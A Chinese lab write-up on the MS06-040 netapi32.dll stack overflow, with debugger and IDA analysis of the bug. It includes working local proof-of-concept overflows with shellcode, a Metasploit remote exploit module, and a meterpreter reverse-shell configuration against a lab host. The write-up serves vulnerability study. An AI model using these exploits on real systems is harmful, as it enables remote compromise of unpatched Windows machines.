RPC入侵:MS06-040
[toc]
RPC 漏洞
RPC 漏洞简介
RPC 即 Remote Procedure Call,它是一种计算机进程间的通信方式。简单地说,RPC 就是让您在自己地程序中调用一个函数(可能需要很大地计算量),而这个函数在另外一个或多个远程机器上执行,执行完后将结果传回您的机器进行后续操作。
RPC漏洞,远程调用函数出现了问题,甚至有可被利用的安全漏洞。
RPC编程简介
在 VC 中进行 RPC 调用的流程如下图所示。
使用 RPC 调用时首先应当定义远程进程的接口 IDL 文件。 IDL( Interface Description Language)是专门用来定义接口的语言,在这个文件里我们要指定 RPC 的接口信息以及 interface 下的 function 信息,包括函数的声明,参数等。
微软的 IDL 叫做 MIDL, 是兼容 IDL 标准的。定义好的 IDL 文件接口经过微软的 MIDL 编译器编译后会生成 3 个文件,一个客户端 stub(有些文献把 stub 翻译成“插桩”或“码桩”),一个服务端 stub,还有一个 RPC 调用的头文件。其中 stub 负责 RPC 调用过程中所有的网络操作细节。
在本章中将会用到 MS06-040 所需的接口文件,您可在看雪相关板块中下载附件。用 MIDL 编译接口文件rpc_exploit_040.acf 和 rpc_exploit_040.idl,得到 stub 文件和头文件。MIDL 编译器在 VC6.0 的组件里,可以在命令行下使用:
midl /acf rpc_exploit_040.acf rpc_exploit_040.idl
编译成功后,会在当前路径生成 3 个文件: ( 1) rpc_exploit_040_s.c RPC 服务端 stub(桩) ( 2) rpc_exploit_040_c.c R PC 客户端 stub(桩) ( 3) rpc_exploit_040.h RPC 头文件
把两个 stub 添加进工程, include 头文件,和调用远程函数的程序一起 link,您就可以试着 去调用远程主机上的函数了。
MS06-040
MS06-040 简介
MS06-040 是这个漏洞的微软编号,其 CVE 编号为 CVE-2006-3439,对应补丁号为KB921883。
几乎所有使用 socket 网络的程序都会加载负责网络操作的 netapi32.dll。 MS06-040 指的就是这个动态链接库中的导出函数 NetpwPathCanonicalize() 中存在的缓冲溢出缺陷,而NetpwPathCanonicalize() 函数又可以被 RPC 远程调用,所以才会有这么大的危害。
动态调试
NetpwPathCanonicalize()是 netapi32.dll 的一个导出函数,用于格式化网络路径字符串,它的原型如下:
int NetpwPathCanonicalize (
uint16 path[ ], //[in] path name
uint8 can_path[ ], //[out] canonicalizedpath
uint32 maxbuf, //[in] max size of can_path
uint16 prefix[ ], //[in] path prefix
uint32* pathtype, //[in out] path type
uint32 pathflags //[in] path flags, 0 or 1
);
这是一个 Unicode 字符串处理函数,大体功能是:如果 prefix 串非空,将 prefix 串与 path串用‘ \’相连,并复制到输出串 can_path 中,输出串的容量为 maxbuf 字节大小:
prefix + ‘\’ + path => can_path [max_buf]
在路径合并过程中,函数会做各种检查,如 prefix 或 path 长度是否越界、是否符合路径规范,或 can_path 的容量是否够大等等,否则函数将退出,并返回相应的错误号,例如,ERROR_INVALID_NAME ( 0x7B ), ERROR_INVALID_PARAMETER ( 0x135 ),NERR_BufTooSmall( 0x84B)等;函数成功则返回 0,并对 pathtype 进行更新。
首先在本地直接装载有漏洞的动态链接库,并调用这个函数,等到弄清楚栈中的细节之后,再实践远程利用。
触发这个漏洞的 POC 如下:
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
int main() {
char path[0x320];
char can_path[0x440];
int maxbuf = 0x440;
char prefix[0x100];
long pathtype = 44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
memset(path, 0, sizeof(path));
memset(path, 'a', sizeof(path) - 2);
memset(prefix, 0, sizeof(prefix));
memset(prefix, 'b', sizeof(prefix) - 2);
(Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
FreeLibrary(LibHandle);
return 0;
}
这段代码的功能是装载存在漏洞的 netapi32.dll,并调用其导出函数 NetpwPathCanonicalize。在函数调用时我们将 path 和 prefix 设置成很长的字符串,用以触发栈溢出。注意这个字符串以两个字节的 null 结束,这是因为 NetpwPathCanonicalize 将按照 Unicode 来处理字符串。
memset()函数,将缓冲区设置为指定字符。
推荐的环境 | 备 注 | |
---|---|---|
操作系统 | winXP SP3 | 本地调试与操作系统版本无关 |
漏洞文件 | netapi32.dll | 在没有 patch 过 KB921883 的 Window 2000 操作系统中,该文件位于 c:\winnt\system32 下 ; 若操作系统已经被 patch , 可 以在 c:\winnt$NtUninstallKB921883$下找到该文件;您也可以在本章的附带资料中找到这个动态链接库文件 |
编译器 | VC++ 6.0 | |
编译选项 | 默认编译选项 | |
build 版本 | Release 版本 | debug 版本在调试时可能会有细节上的差异 |
注意: 需要未打补丁的netapi32.dll,Windows 2000在C:\WINNT\system32目录下能找到,或者用以下提供的dll,但远程exploit必须要带有未打补丁dll的系统。本实验指导的调试基于使用的漏洞文件大小为 309008 字节,您可以在本章附带的电子资料中找到这个文件,请您在编译运行 POC 代码时将这个漏洞文件放在工程的相同路径下。
netapi32.dll 下载链接:https://pan.baidu.com/s/1qZQ1vnY 密码:5stq
定位程序崩溃点
编译运行后,系统会提示出错,直接点调试。进入OD后,按 F9 运行到程序崩溃处,可以看到 EBP 和 EIP 都被覆盖为 “aaaa”。
重新加载程序,调试来到 call netapi32.NetpwPathCanonicalize 处。
进入 NetpwPathCanonicalize() 函数体后,按 “F8” 键继续单步跟踪。程序将在另一次函数调用时崩溃。
重新加载,“F7” 继续跟进,最后发现,在函数返回前 pop ebx 中,向栈中压入了大量 b 充当无效数据,导致在 retn 时,返回地址错误,发生崩溃。
构造exploit
反复跟踪后溢出函数后,发现这段程序首先将 prefix 所指的字符串“ bbbbbb……” 复制到栈中,然后在这个字符串后加上 Unicode 字符“\”( 0x5C00),再将 path 中的长字符串“ aaaa……”连接在末尾,而正是连接 path 串的 wcscat 调用触发了漏洞。
程序“跑飞”之前的系统状态。 ( 1) prefix 串中包含了 0xFE 个字符‘b’( 0x62),被复制到栈帧中开始于 0x0012F240 处的缓冲区。 ( 2)程序在 prefix 的末尾连接上 Unicode 字符‘ \’( 0x005C)。 ( 3)程序在‘ \’后连接 0x31E 个字符‘ a’( 0x61),这次字符串连接操作造成了栈帧溢出,位于 0x0012F654 处的 EBP 及紧随其后的返回地址都被改写。(图26.2.6地址与本次实验地址不同)
ECX 在函数返回时总是指向栈中缓冲区,因此我们可以把 shellcode 放在 prefix 串中,并采用JMP ECX 作为定位 shellcode 的跳板。用 OllyDbg 在内存中搜索指令 JMP ECX。
用 netapi32.dll 自身代码空间中 0x751852F9 处的 CALL ECX 作为跳转指令。
布置缓冲区如下。 ( 1)缓冲区中的内容为: (prefi x:bbb …) +( \) +( path: aaa…)。 ( 2)目前 prefix 串大小为 0x100( 256)字节,除去两个字节 null 作为结束符, 254 字节基本能够容纳 shellcode。 ( 3)缓冲区起址: 0x0012F240。 ( 4) EBP 位置: 0x0012F654。 ( 5)返回地址: 0x0012F240。 ( 6)返回地址距离缓冲区的偏移为: 0x0012F654-0x0012F240=0x418,去掉 prefix 和 ‘ \’ 的影响, path 串偏移 0x418-0x100=0x318 处的 DWORD 将淹没返回地址,在那里填入跳转地址即可执行 shellcode。
仍然使用弹出“ failwest”消息框的 shellcode 进行测试,最终的本地溢出利用代码如下:
#include "stdafx.h"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll"; // care for the path
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,0x90,sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'a',sizeof(prefix)-2);
memcpy(prefix,shellcode,168);
path[0x318]=0xF9;// address of CALL ECX
path[0x319]=0x52;
path[0x31A]=0x18;
path[0x31B]=0x75;
(Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
FreeLibrary(LibHandle);
}
编译运行,就能看到 failwest 消息框了。
总结一下动态调试的思路。 ( 1)第一次调试看到 EIP 已经被改写为 0x61616161,证明传入的参数可以制造溢出并控制EIP,但堆栈被破坏,无法看到溢出前的函数调用。 ( 2)跟踪调试,找到 NetpwPathCanonicalize 的 VA 地址,直接对这个 VA 地址下断点。 ( 3)单步跟踪 NetpwPathCanonicalize 函数,观察寄存器的变化,发现是其中的一次函数调用引起的错误。 ( 4)第三次调试直接针对 NetpwPathCanonicalize 中引起错误的子函数,单步跟踪一轮后,彻底弄清楚栈中布局,编写本地 exploit。
静态分析
通过 IDA 加载 netapi32.dll,找到漏洞的缺陷代码,NetpwPathCanonicalize 函数中的 CanoicalizePathName 函数,如下图黄色框内。
在动态调试时,我们已经知道产生溢出的函数实际上是 0x7517F856 处调用的的子函数 CanonicalizePathName(), prefix 串与 path 串的合并操作就位于其中,该函数的声明如下:
int CanonicalizePathName (
uint16 prefix[ ], // [in] path prefix
uint16 path[ ], // [in] path name
uint8 can_path[ ], // [out] canonicalized path
uint32 maxbuf, // [in] max byte size of can_path
uint32 can_size // [in out] byte size of can_path
);
用 IDA 重点看一下这个函数:
; =============== S U B R O U T I N E ===============================
; int stdcall CanonicalizePathName(wchar_t *, wchar_t *, wchar_t*, int, int)
7517FC68 CanonicalizePathName proc near
7517FC68
7517FC68 Buff_last_word = word ptr -416h
7517FC68 Buff_OF = word ptr -414h
7517FC68 arg_Prefix = dword ptr 8
7517FC68 arg_Path = dword ptr 0Ch
7517FC68 arg_CanPath = dword ptr 10h
7517FC68 arg_Maxbuf = dword ptr 14h
7517FC68 arg_CanSize = dword ptr 18h
7517FC68
7517FC68 push ebp
7517FC69 mov ebp, esp
7517FC6B sub esp, 414h ; 分配 0x414 字节栈空间,即 Buff_OF,用来
; 存储合并路径(prefix+’\’+path)
7517FC71 push ebx
7517FC72 push esi
7517FC73 xor esi, esi
7517FC75 push edi
7517FC76 cmp [ebp+arg_Prefix], esi
7517FC79 mov edi, ds:__imp_wcslen
7517FC7F mov ebx, 411h ; ebx 始终等于 0x411,用于检查越界(字节)
; 长度
7517FC84 jz short @@prefix_ptr_zero
7517FC86 push [ebp+arg_Prefix]
7517FC89 call edi ; __imp_wcslen
; 计算 prefix 串的 Unicode 长度,注意为字
; 节长度的一半,这是导致边界检查被突破的根
; 本原因,即用 Unicode 检查边界,而栈空间
; 是按字节开的
7517FC8B mov esi, eax ; esi 始终记录 prefix 串的 Unicode 长度
7517FC8D pop ecx
7517FC8E test esi, esi
7517FC90 jz short @@chk_pathname
7517FC92 cmp esi, ebx ; prefix 是否大于 0x411
7517FC94 ja @@err_invalid_name
; 若越界,则退出程序
7517FC9A push [ebp+arg_Prefix]
7517FC9D lea eax, [ebp+Buff_OF]
7517FCA3 push eax
7517FCA4 call ds:__imp_wcscpy
; 将 prefix 串写入栈空间 Buff_OF 暂存。虽然前
; 面的边界检查有缺陷,似乎实际可以传入的 prefix
; 串可以达到 0x822 字节,但是在传入本函数前,
; prefix 串已被 NetpwPathType()检查过,其长度
; 不能超过 0x206 字节,所以光靠这里的检查缺陷
; 还不足以通过 prefix 串制造溢出
…
7517FCED @@prefix_ptr_zero:
7517FCED mov [ebp+Buff_OF], si
7517FCF4 @@chk_pathname:
7517FCF4 push [ebp+arg_Path]
7517FCF7 call edi ; __imp_wcslen
; 计算 path 串的 Unicode 长度
7517FCF9 add eax, esi ; 合并前,计算合并路径(prefix+’\’+path)的
; Unicode 长度
7517FCFB pop ecx
7517FCFC cmp eax, ebx ; 第二次边界检查,仍然将 Unicode 字符长度与
; 字节长度 0x411 进行比较
7517FCFE ja short @@err_invalid_name
; 从前面的分析可以知道,只靠 prefix 串是无法
; 制造溢出的,但是 path 串的传入没有任何限制,
; 所以可以通过增加 path 串的长度溢出。栈空间
; 为 0x414,我们实际可以传入的串总长可以达到
; 或或超过 0x828
7517FD00 push [ebp+arg_Path]
7517FD03 lea eax, [ebp+Buff_OF]
7517FD09 push eax
7517FD0A call ds:__imp_wcscat ; 将 path 串继续连入 Buff_OF,生成最终
; 的合并路径,这个调用导致了最终的栈溢出
…
7517FD3E @@err_invalid_name:
7517FD3E push ERROR_INVALID_NAME
7517FD40 pop eax
7517FD41 jmp short @@quit
…
7517FD7A @@quit:
7517FD7A pop edi
7517FD7B pop esi
7517FD7C pop ebx
7517FD7D leave
7517FD7E retn 14h
7517FD7E CanonicalizePathName endp
; =============== S U B R O U T I N E ===============================
两次边界检查的限制都是 Unicode 长度不能超过 0x411,换算成字节长度就是 0x822,而栈空间的大小是按字节开的 0x414。按照 ASCII 字符开辟空间,按照 Unicode 字符来检查边界是漏洞的根本原因。 依据以上的溢出原理,只要设计好 prefix 串和 path 串的长度,调用 NetpwPath Canonicalize 函数即可发生栈溢出。
实现远程 exploit
进行 RPC 调用的代码框架:
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
end
def initialize(info = {})
super(update_info(info,
'Name' => 'MS06-040 Remote overflow POC ',
'Platform' => 'win',
'Targets' => [['Windows 2000 SP0',
{'Ret' => [0x318, 0x74FB62C3]}
]]
))
register_options([OptString.new(
'SMBPIPE',
[true,"(BROWSER, SRVSVC)", 'BROWSER']
),],
self.class)
end #end of initialize
def exploit
connect()
smb_login()
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188',
'3.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
dcerpc_bind(handle)
prefix = ......
path = ......
stub =NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(0xf0)+1) +
NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
NDR.long(rand(0xf0)+1) +
NDR.long(0)
dcerpc.call(0x1f, stub) # call NetpwPathCanonicalize()
disconnect
end #end of exploit def
end
我们只需要关注 path 串和 prefix 串的内容,在恰当的位置布置特定的内容, MSF 和远程的主机会自动按照 RPC 协议为我们完成网络握手、参数解析、函数定位等工作。
攻击代码:
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client # 主要就是上面这几行,还有最后一行多了一个end
def initialize(info = {})
super(update_info(info,
'Name' => 'MS06-040 Remote overflow POC ',
'Platform' => 'win',
'Targets' => [['Windows 2000 SP0',
{'Ret' => [0x318 , 0x74FB62C3]}
]]
))
register_options([OptString.new(
'SMBPIPE',
[true,"(BROWSER, SRVSVC)", 'BROWSER']
),],
self.class)
end #end of initialize
def exploit
connect()
smb_login()
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188',
'3.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
dcerpc_bind(handle)
prefix = "\x8B\xC1\x83\xC0\x05\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64"+
"\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B"+
"\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73"+
"\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B"+
"\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47"+
"\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7\x3A"+
"\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59"+
"\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4\x5E"+
"\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB"+
"\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50"+
"\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C"+
"\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50\x50\x56\x50\xFF\x56"+
"\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00"
path = "\x90" * 0x318 + [target['Ret'][1]].pack('V') +
"\x04\xD0\xFD\x7F" * 5 + # writeable address
"\x66\x81\xEC\x30\x04" + # sub esp,430
"\x8B\xC4" + # mov eax, esp
"\xFF\xE4" + # jmp esp
"\x00\x00"
stub =NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(0xf0)+1) +
NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
NDR.long(rand(0xf0)+1) +
NDR.long(0)
dcerpc.call(0x1f, stub) # call NetpwPathCanonicalize()
disconnect
end #end of exploit def
end
配置
攻击机:kali
IP地址:192.168.188.141
靶机:Windows2000 sp4
IP地址:192.168.188.133
准备
首先确定靶机开启的端口:
┌──(host㉿kali)-[~]
└─$ sudo nmap --allports -O 192.168.188.133
[sudo] host 的密码:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-15 21:22 CST
Nmap scan report for 192.168.188.133
Host is up (0.00030s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1723/tcp open pptp
MAC Address: 00:0C:29:97:7A:5F (VMware)
Device type: general purpose
Running: Microsoft Windows 2000|XP
OS CPE: cpe:/o:microsoft:windows_2000::- cpe:/o:microsoft:windows_2000::sp1 cpe:/o:microsoft:windows_2000::sp2 cpe:/o:microsoft:windows_2000::sp3 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::- cpe:/o:microsoft:windows_xp::sp1
OS details: Microsoft Windows 2000 SP0 - SP4 or Windows XP SP0 - SP1
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.64 seconds
可以看到打开了445端口。
最后的配置:
msf6 exploit(rgzz/ms06_040) > show options
Module options (exploit/rgzz/ms06_040):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.188.133 yes The target host(s), see https://gith
ub.com/rapid7/metasploit-framework/w
iki/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 192.168.188.141 yes The listen address (an interface ma
y be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 2000 SP0
用上面给出的代码,结果出错了,导致了靶机关机。
调试 service.exe
将OD附加到services上,然后在NetpwPathCanonicalize
(0x75107AFD)上下一个断点,F9继续执行。
回到攻击机上,执行exploit,再回到靶机,发现并没有在 NetpwPathCanonicalize 停下,而是直接提示关机,这样就无法进行后续调试了。不知道是不是漏洞已经被修补的缘故。上面的本地实验中,我用的也是本书资料中提供的netapi32.dll。
Windows XP 环境下的 MS06—040 exploit
静态分析
选取 Windows XP SP3 的 netapi32.dll,对其 CanonicalizePathName 函数做静态分析。
; =============== S U B R O U T I N E =======================================
; int __stdcall CanonicalizePathName(wchar_t*, wchar_t *, wchar_t *, int, int)
71BA428B CanonicalizePathName proc near
71BA428B
71BA428B Buff_last_word = word ptr -416h
71BA428B Buff_OF = word ptr -414h
71BA428B arg_Prefix = dword ptr 8
71BA428B arg_Path = dword ptr 0Ch
71BA428B arg_CanPath = dword ptr 10h
71BA428B arg_Maxbuf = dword ptr 14h
71BA428B arg_CanSize = dword ptr 18h
71BA428B
71BA428B push ebp
71BA428C mov ebp, esp
71BA428E sub esp, 414h ; 依然分配了 0x414 字节栈空间,即 Buff_OF,
; 用来存储合并路径(prefix+’\’+path)
71BA4294 push ebx
71BA4295 mov ebx, ds:__imp_wcscat
71BA429B push esi
71BA429C xor esi, esi
71BA429E cmp [ebp+arg_Prefix], esi ; prefix 指针是否为 0
71BA42A1 push edi
71BA42A2 mov edi, ds:__imp_wcslen
71BA42A8 jnz @@prefix_ptr_not_zero
; 若 prefix 非 0,跳转至@@prefix_ptr_not_zero
71BA42AE mov [ebp+Buff_OF], si ; 若 prefix 为 0,初始化 Buff_OF 为空串
71BA42B5 @@chk_pathname:
71BA42B5 push [ebp+arg_Path]
71BA42B8 call edi ; __imp_wcslen ; 计算 path 串的 Unicode 长度
71BA42BA add eax, esi ; 计算合并路径长度
71BA42BC cmp eax, 207h ; 对合并路径长度做越界检查,请注意,这里已经将
; 字节长度除 2,转化为 unicode 长度 0x207,而
; 在 Windows 2000 中,这个值是 0x411,没有做
; 转化,可见 Windows XP 的溢出另有原因!
71BA42C1 pop ecx
71BA42C2 ja @@err_invalid_name
71BA42C8 push [ebp+arg_Path]
71BA42CB lea eax, [ebp+Buff_OF]
71BA42D1 push eax
71BA42D2 call ebx ; __imp_wcscat ; 将 Buff_OF(prefix+’\’)与 path 串合并
; 得到合并路径
…
71BA4317 lea eax, [ebp+Buff_OF]
71BA431D push eax
71BA431E call edi ; __imp_wcslen ; 计算合并路径 Unicode 长度
71BA4320 lea eax, [eax+eax+2] ; 将 Unicode 长度转化为字节长度并加上结尾
; 的两个空字节
71BA4324 cmp eax, [ebp+arg_Maxbuf] ; 检查 can_path 的容量 maxbuf,是否可以
; 可以容纳合并路径
71BA4327 pop ecx
71BA4328 ja @@err_buf_too_small ; 若 can_path 空间不够,退出
71BA432E lea eax, [ebp+Buff_OF]
71BA4334 push eax
71BA4335 push [ebp+arg_CanPath]
71BA4338 call ds:__imp_wcscpy ; 将合并路径复制 Buff_OF 至 can_path
71BA433E pop ecx
71BA433F pop ecx
71BA4340 xor eax, eax ; 路径合并成功,返回 0
71BA4342 @@quit:
71BA4342 pop edi
71BA4343 pop esi
71BA4344 pop ebx
71BA4345 leave
71BA4346 retn 14h
71BA4349 @@err_invalid_name:
71BA4349 push ERROR_INVALID_NAME
71BA434B pop eax
71BA434C jmp short @@quit
71BA434C CanonicalizePathName endp
…
71BB0E2D @@prefix_ptr_not_zero:
71BB0E2D push [ebp+arg_Prefix]
71BB0E30 call edi ; __imp_wcslen
71BB0E32 mov esi, eax ; esi 存储 prefix 串的 unicode 长度
71BB0E34 test esi, esi ; 检查 prefix 串长度是否为 0,即空串
71BB0E36 pop ecx
71BB0E37 jz @@chk_pathname ; 如果 prefix 为空串,则跳至
; @@chk_pathname,请注意,如果代码
; 流程走到这里, Buff_OF 始终是没有初
; 始化的!这是 MS06-040 的另一个溢出点
71BB0E3D cmp esi, 208h ; 如果 prefix 串非空,其 Unicode 长度
; 不能超过 0x208,否则退出
71BB0E43 ja @@err_invalid_name
…
71BB0EA9 @@err_buf_too_small:
71BB0EA9 mov ecx, [ebp+arg_CanSize]
71BB0EAC test ecx, ecx
71BB0EAE jz short @@err_buf_too_small2
71BB0EB0 mov [ecx], eax
71BB0EB2 @@err_buf_too_small2:
71BB0EB2 mov eax, NERR_BufTooSmall
71BB0EB7 jmp @@quit
…
; =============== S U B R O U T I N E =======================================
从上面的第 31 行中可以看到,上一个实验中 cmp eax,411 已经被修补,无法在利用。不过,通过进一步静态分析,可以发现 CanonicalizePathName 函数在分配了栈空间 Buff_OF 后,没有进行初始化;如果 prefix 指针为 0,代码会对 Buff_OF 做初始化(见 0x71BA42AE);而如果 prefix 非 0,并指向空字串,代码将直接对未初始化的 Buff_OF 和 path 串用 wcscat 函数进行连接(见 0x71BA42B5-0x71BA42D2)。这是一个非常危险的操作,因为未初始化的栈空间 Buff_OF 的长度是未知的,甚至可能超过 0x414 字节,其后再连接上 path 串,很有可能产生溢出。
由于 Buff_OF 位于栈中,内容随机,怎样控制它的长度,是如何利用这个漏洞的重点。我们可以通过连续调用 CanonicalizePathName 函数来控制它的长度。 因为当 Buff_OF 被首次填充并连接,直到 CanonicalizePathName 函数退出后,其所在的栈空间位于 ESP 的低地址,如果不做任何栈操作,如函数调用等,内容是不会改变的;此时,如果再次调用 CanonicalizePathName,已经被填充的 Buff_OF 将面临溢出的风险。
CanonicalizePathName 是 NetpwPathCanonicalize 的子函数,不能直接被调用。分析一下函数 NetpwPathCanonicalize 是如何调用 CanonicalizePathName 的。
...
71BA421A mov esi, [ebp+arg_CanPath]
71BA421D push edi
71BA421E push [ebp+arg_Maxbuf]
71BA4221 mov [esi], di
71BA4224 push esi
71BA4225 push [ebp+arg_Path]
71BA4228 push ebx
71BA4229 call CanonicalizePathName
71BA422E cmp eax, edi ; 检查函数 CanonicalizePathName 的返回值
71BA4230 jnz short @@quit ; 非 0 则直接退出
71BA4232 push edi
71BA4233 push [ebp+arg_Pathtype]
71BA4236 push esi
71BA4237 call NetpwPathType
71BA423C jmp short @@quit
...
; =============== S U B R O U T I N E =======================================
; int __stdcall NetpwPathCanonicalize(wchar_t *, wchar_t *, int, int, int, int)
71BA4244 public NetpwPathCanonicalize
71BA4244 NetpwPathCanonicalize proc near
71BA4244
71BA4244 arg_Path = dword ptr 8
71BA4244 arg_CanPath = dword ptr 0Ch
71BA4244 arg_Maxbuf = dword ptr 10h
71BA4244 arg_Prefix = dword ptr 14h
71BA4244 arg_Pathtype = dword ptr 18h
71BA4244 arg_Pathflags = dword ptr 1Ch
...
71BA4284 @@quit
71BA4284 pop edi
71BA4285 pop esi
71BA4286 pop ebx
71BA4287 pop ebp
71BA4288 retn 18h
71BA4288 NetpwPathCanonicalize endp
...
如果能够使 CanonicalizePathName 调用失败(返回值非 0),NetpwPathCanonicalize 将直接退出,从而保证 Buff_OF 所在的栈空间不发生变化。由于参数 maxbuf 是可控的,我们可 以 利 用 较 小 的 maxbuf , 使 CanonicalizePathName 返 回 NERR_BufTooSmall (参看 0x71BA4317-0x71BA4328)而直接退出。
MS06-040 在 Windows XP 下溢出的 POC 代码:
#include <windows.h>
typedef void (__stdcall * MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
#define PATH1_SIZE (0xc2*2)
#define PATH2_SIZE (0x150*2)
#define OUTBUF_SIZE 0x440
#define PREFIX_SIZE 0x410
int main()
{
char PathName1[PATH1_SIZE];
char PathName2[PATH2_SIZE];
char Outbuf[OUTBUF_SIZE];
int OutbufLen=OUTBUF_SIZE;
char Prefix1[PREFIX_SIZE];
char Prefix2[PREFIX_SIZE];
long PathType1=44;
long PathType2=44;
//load vulnerability netapi32.dll which we got from a WINXP sp0 host
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
// fill PathName
memset(PathName1,0,sizeof(PathName1));
memset(PathName1,0,sizeof(PathName1));
memset(PathName1,'a',sizeof(PathName1)-2);
memset(PathName2,0,sizeof(PathName2));
memset(PathName2,0,sizeof(PathName2));
memset(PathName2,'b',sizeof(PathName2)-2);
// set Prefix as a null string
memset(Prefix1,0,sizeof(Prefix1));
memset(Prefix2,0,sizeof(Prefix2));
// call NetpwPathCanonicalize several times to overflow
(Trigger)(PathName1,Outbuf,1 ,Prefix1,&PathType1,0);
(Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0);
FreeLibrary(LibHandle);
return 0;
}
动态调试
在动态调试时,当第二次调用 NetpwPathCanonicalize,运行至 0x5FDDA33E 处的 wcscat 时发生了栈溢出,如下图所示。
可以看到, EBP、返回地址以及 CanonicalizePathName 的部分参数被覆盖,溢出成功。ecx 始终指向栈中(0x0012EA18),那我们就选用 0x71BBFCBE 处的 CALL ECX 作为跳板。
